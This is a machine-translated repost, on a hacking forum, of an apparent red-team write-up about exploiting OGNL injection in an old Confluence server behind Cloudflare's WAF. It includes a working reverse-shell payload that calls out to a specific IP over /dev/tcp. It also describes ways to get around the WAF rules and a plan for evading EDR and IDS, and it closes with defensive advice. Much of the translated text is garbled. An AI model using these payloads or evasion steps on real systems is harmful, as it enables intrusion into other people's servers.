Jump to content
请先注册账号再浏览本站!Maak een account aan voordat u deze site bezoekt!
This Wind

绕过CloudFlare WAF成功进行OGNL注入

Recommended Posts

CloudFlare通知我们他们已经更新了默认的WAF规则,以阻止基于java.lang.ProcessBuilder的有效负载。尽管可以使用其他技术来开发替代代码执行有效负载,但我们已经确认,下面描述的有效负载不再有效。我们要赞扬CloudFlare参与对话并采取积极行动来保护其网络及其用户。

2020年4月22日更新:这篇文章的原始版本包含不正确的有效载荷字符串,其中包含不必要的%23。该帖子已使用更正的有效载荷进行了更新。

在最近的长期红队运作中,有必要利用OGNL注入漏洞来获得客户子公司周围的立足点。在对内部网络进行广泛的秘密侦查并利用深奥的Active Directory漏洞之后,有可能利用并损害子公司与母公司之间的林间信任。最终,这导致了母公司的灾难性妥协,并成功完成了运营前概述的所有红色团队目标。 

红色团队运营期间,绝大多数立足点都来自网络钓鱼。使用物理穿透力可以获得少量立足点。在某些情况下,确定子公司与母公司共享内部网络后,子公司本身就成为基于网络的攻击的目标,这通常为寻找更多关键漏洞获得立足点提供了途径。 

这个特殊的子公司从2006年开始运营Confluence的古老版本。但是,此Confluence实例是 CloudFlare eb应用程序防火墙(WAF )之后设置的,从而抵消了针对OGNL或SSTI漏洞 的现成攻击的有效性。在本文中,我们将演示如何绕过CloudFlareWAF 。我们还将讨论避免触发某种形式的入侵 检测系统(IDS)或端点检测与响应(EDR)实现的方法,因为这是一个红色的团队操作,隐身是定义的一部分。 

请注意,本文中的所有URL和IP地址都将是一个测试实例,该实例将尽可能地复制目标。 

设置 

发现此过时的onfluence版本的登录页面的过程涉及一些创造性的目录遍历和发现。通过访问原始站点根目录 本身(“ /”),显示了一个空白页。通过目录发现发现Confluence页面后,我们发现Confluence版本2.2.9。由于这不是由客户端构建的自定义应用程序,并且为了避免针对目标发送大量请求,我们将建立自己的本地Confluence 2.2.9测试实例。  

redteamblog_fig1.png

图1:版本2.2.9

漏洞发现 

在网上寻找该版本的Confluence的 所有常见漏洞之后,我们没有多少运气。在这一点上,重要的是要认识到Confluence是使用Java构建的,因此我们可以开始针对本地实例执行基本的Web应用程序扫描,以期最终找到一个严重的问题,例如Java对象反序列化漏洞 如果我们的黑盒方法无法产生结果,则可能会对此Java实例进行静态和动态代码分析。 

一个重要的区别的活靶子和我们的测试实例之间 应注意-在目标上运行的汇合实例并没有要求之前,允许访问生成自定义RSS Feed认证。这将立即变得很重要,因为这是关键漏洞所在的地方。显然,此问题在Confluence的版本之间进行了修补,因为没有公共CVE分配给此漏洞。 

redteamblog_fig2.png

图2:导航到“ Feed Builder”功能

然后,我们仅创建一个RSS feed。 

redteamblog_fig3.png

图3:创建RSS提要

创建RSS feed后,我们检查Web代理(Burp)并扫描该功能。Burp发现了潜在的“表达式语言注入”攻击媒介。 

redteamblog_fig4.png

图4:表达式语言注入

手工剥削 

在这一点上,我们需要更深入地了解这种注射的性质。根据Burp生成的请求,最基本的测试涉及评估算术表达式。  

redteamblog_fig5.png

图5:通过服务器端模板注入(SSTI)评估7 * 7

中号ÿ天才同事埃里克Rafaloff执行的关于一个Apache Struts的脆弱性的深入分析 (CVE-2017-5638) ,走到OGNL注射尤其如此。注射字符串的格式带领我们相信,我们 确实处理OGNL 参与过程中,我们避免花费太多的 研究时间来确切地指出其脆弱性的原因。我们 进行了在利用此漏洞以获得远程执行代码(RCE)最感兴趣 ,因此在目标上立足 

Ť WO 电位以获得RCE方法使用OGNL注射是用“ EXEC()”方法  java.lang.Runtime中 方法  java.lang中。ProcessBuilder 另一个需要注意的重要事项是,在这种情况下,无效的OGNL表达式将自动失败。没有返回错误消息。相反,我们可以使用java.lang.Object的“ getClass )”方法来确定前面的表达式对OGNL解释器是否有意义,假设该表达式返回一个Java对象。如果 ” “ getClass )”失败,表示表达式格式不正确。如果“ getClass )”返回有效的Class对象,则表示该表达式有效。 尽管我们可以在本地调试测试设置的Confluence流程并检查日志,但是当我们不得不绕过客户端的CloudFlare WAF实例进行快速健全性检查时,这种基于getClass )的调试方案非常有用 

redteamblog_fig6.png

图6:使用“ getClass()”确保有效的OGNL表达式

一个基本的RCE有效载荷,可以为OGNL注射工作如下: 

$ {@ [email protected]).exec
('ping%20-c%203%20 <IP_ADDRESS> ')} 

这适用于我们的本地实例,该实例不位于任何类型的防火墙之后。 

 redteamblog_fig7.png

图7:使用基本有效载荷成功回传

让我们针对前面带有CloudFlare的实例进行尝试。设定完成后一个测试CloudFlare的实例来试图绕过WAF ,W Ë然后将尝试发送相同的命令。然后,我们会受到CloudFlare的关注。  

redteamblog_fig8.png

图8:WAF停止的恶意请求

绕过CloudFlare 

其中的“黑客思维”的最关键的部件是枚举的边缘一个系统。在征服任何系统之前,您必须了解其概念物理限制。一个最新颖的行为NY系统通常发生在其限制或边缘,因为它可以让你窥视到系统外壳的 子系统。这种新颖性为黑客提供了新的利用途径–一种新的搜索空间,可以进行探索或置换。这是否是操纵人还是机器的问题,我们要抓住它的极限,它的行为在这些限制条件,所以我们最终可能操纵系统房子受害者次系统,从而使我们能够控制子系统本身 

用较少的哲学术语,我们需要弄清楚是什么触发了CloudFlare  

精明的黑客可能会问:“您是否尝试找出服务器的IP地址而不需要连接其主机名,以便可以绕过CloudFlare ?您可以弄清楚使用诸如Censys之类的一些服务,您知道吗?”  

这是绝对正确的,而且经常去这更简单的方法; 但是不幸的是在这种情况下这是行不通的 

花了一些时间尝试不同的有效负载排列之后CloudFlare不喜欢三个关于此特定有效负载的项目 

  • 有效负载中不能包含术语“ exec(”。 
  • 我们不能使用超过2个“#”符号。 
  • 我们不能使用方括号“ []”。


事实证明,这三个项目对于OGNL有效载荷的成功执行很重要。对我们来说幸运的是,Java是一种通用的语言。 

我们花了一些时间使用Java的反射功能来串联“ exec”方法,而没有用一个词就可以使用它。然而, 我们才明白, CloudFlare的不介意术语的ProcessBuilder ”,所以我们放弃了“ EXEC()”的方法,而是这条路线去了。这绕过了第一个限制。 

OGNL中的“#”符号用于设置或访问变量。这意味着我们将不得不在同一行或命令中链接创建对象并上调用方法。这也是可行的。我们可以避免使用所有“#”符号。 

最后一个限制与使用方括号有关。不幸的是,“ exec ”和“ ProcessBuilder ”都要求以数组的形式传入程序名称及其参数。幸运的是,我们可以使用split方法将Java (和其他语言)中的常规字符串转换为array 。我们必须在如何做到这一点上保持一定的创造力,以保持原始有效载荷的完整性。  

弄清楚如何运行OGNL解释器的确切版本并避免反复试验,这在学术上可能是正确的,但是由于时间紧迫和继续前进的压力,本地Java实例已足够。 

使用本地Java实例进行多次迭代以近似OGNL解释器行为之后我们获得了最终的有效负载,该有效负载通过CloudFlare作为反向shell给出 

$ {p =(new%20java.lang.ProcessBuilder(“ bashX-cXbash + -i +%3e%26 + / dev / tcp / 18.191.28.204 / 4444 + 0%3e%261” .split(“ X”)))) 。开始()}
 

通过URL解码此有效负载,我们可以得到以下内容: 

$ {new java.lang .ProcessBuilder (“ bashX-cXbash - i >&
/ dev / tcp /18.191.28.204/4444 0>&1“ .split(” X“))。start()}

让我们继续前进,分解这个有效载荷。 我们正在创建一个“ ProcessBuilder 实例,该实例应运行以下命令: 

bash的 -c  '的bash ->&的/ dev / TCP /18.191.28.204/4444 0>&1 '   

第一个“ bash”命令正在执行脚本。 第一个“ bash”命令及其参数必须作为数组输入。 
 

第二个“ bash”命令实际上是在启动反向外壳程序。 第二个“ bash”命令必须是一个连续的字符串,并且它们之间要有空格。
 

为了创建数组,我们将空格替换为“ X”。然后,我们在字符串上调用split(“ X”)。这将创建一个具有以下值的数组: 

[ bash - c bash- i >&/ dev / tcp /18.191.28.204/4444 0>&1 ]

在这一点上,我们可以替换3的空间RD与“+”,这是URL编码为一个空间数组元素(元素[2])。在包含适当数量的结束括号引号并编码其他字符之后,我们可以在ProcessBuilder实例上调用“ start(” 。这样就可以通过CloudFlare成功完成反向外壳程序。 

redteamblog_fig9-300x193.png

图9:获得反向外壳

红队作战安全 

既然我们已经测试了这个地方, 牛逼他帮助我们最大限度地减少对客户端的测试请求的数量,以尽量减少可疑行为。现在,当我们发送恶意请求时,我们必须确保有效载荷本身是隐蔽的,以规避入侵检测系统(IDS )和/或企业检测与响应(ED 。  

在确定受影响的服务器正在运行Linux之后,我们执行红队操作和渗透测试的经验表明,运行Linux的计算机不太可能具有防病毒解决方案,更不用说实施EDR了。此外,拥有2006版Confluence的组织或子公司极不可能在外围实施IDS。   

事实上,有合流的这种情况一直微不足道的发现我们本来有可能避免它因为有一个机会,它可能是一个蜜罐。因为很难发现,除了Confluence实例实际上 在一段时间内包含有效和现实的数据(未经身份验证暴露)外,还指示了有效的实时目标。 

要为最初的代码执行旁路EDR,有三个考虑小号考虑到帐户书写时模拟的恶意软件。 

  • 所涉及文件的签名 磁盘或内存上。  
  • 恶意程序的行为-如何 将其与操作系统或其它程序进行交互。 
  • 与之交互的远程主机的信誉-业务部门的类型域是部分,域名年龄等。


指示高质量谍报包括其他考虑执行反-逆向工程内的技术展开命令和控制(C2  并且建立一个非显眼的通信简档。  

对于IDS,需要考虑整个网络范围内的注意事项。例如,在短时间内泄露大量数据是一个明显的信号,表明内部发生了一些奇怪的事情,无论是无赖的雇员还是恶意的行为者。 可能会出现一些Active Directory相关的检测,例如,在很短的时间内Kerberoast大量帐户。这网络内可疑行为的n指标。 

怡安的网络解决方案正在不断研究新的战术,技术和程序(的TTP)和还能够模仿现有的高级持续性威胁(APT的小号基础上)的组合公开 可用的信息和现实世界的经验,我们的事故响应 团队 

在这种情况下,初始有效负载将在GET请求中使用Python (Linux)执行,以下载 执行stager 。辅助负载将下载完整的C2代理,并在 内存中 执行它。将以避免签名检测的方式编写C2代理。流程创建,注入和迁移技术将是新颖的,并在执行之前针对各种现代EDR解决方案进行了测试。根据目标的成熟度,可以使用高级技术,例如用鲜为人知的变体或自定义实现替换常见的/标准的API调用,直接使用syscall绕过AV / EDR挂钩,以及其他类似的方法来逃避检测。所有通信都将在OSI模型的应用程序级别利用域前沿和加密 。这可以有效地绕过签名,行为和声誉人检测。  

在我们获取代码执行之后, 没有怀疑的安装有AV或EDR ,并且最后一次有人登录该计算机是在2015年。这是一个红色团队的梦想,因为它提供了无缝,隐蔽的网络访问,尽管这是子公司的网络。小号ignificant工作流程,代码库,用户的内部枚举和Active Directory结构小号有必要找到盲点和明确的弱点 ,以最终妥协的和exfiltrate数据的母公司(主要对象)不使用“大声漏洞或触发警报与关于数据泄露。 

在一天结束的时候,也不可替代的小号网络安全的基础知识。 

  • 盘点您的网络。 
  • 执行例行修补和维护。 
  • 分割您的网络并限制访问。 
  • 使用多因素身份验证。 
  • 进行定期的安全评估。


WAF,EDR,IDS,和类似的技术可以被作为防御纵深机制有用的但开始用积极的安全做法的基础是很重要的。没有基本原理,仅这些技术就不足以抵御攻击  

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


Follow: 世界中文黑客论坛由CNHACKTEAM[CHT]创建,汇集国内外技术人员,这是一群研究网安黑客攻防技术领域的专家.

法务要求丨Legal丨закон丨القانون

请在学习期间遵守所在国家相关法律,否则后果自负!

Пожалуйста, соблюдайте законы страны, в которой вы находитесь, во время обучения, или будут последствия!

勉強期間中に該当する国の法律を守ってください。そうでなければ結果は自己責任です。

Please abide by the relevant laws of your country during your study, or you will be responsible for the consequences!

官方旗下项目丨About our project

声明:为净化国内外网络安全请勿发布违反国家国定的文章,团队不参与任何涉及黑色产业/攻击/渗透各国正规网站活动,只做网络安全研究,研究网络攻防技术。

世界中文黑客论坛由CNHACKTEAM(CHT)创建,汇集国内外技术人员,这是一群研究网络安全、黑客攻防技术领域的专家,你也可以加入我们!

黑客攻防  技术问答  0day  Hack News  CHT Team  使用指南  商城/Mall  商城订单查询  捐赠/donations  在线用户  X  联系邮箱email:[email protected]

友情链接丨Link丨Связь дружбы

CNHACKTEAM   CHT team official website     www.hac-ker.com     hacked.com.cn     www.77169.net     www.ddosi.com

申请或请未补上链接者联系我们的邮箱,谢谢!

×
×
  • Create New...

Important Information

Please use your computer to visit our website; Please agree to our website rules!Guidelines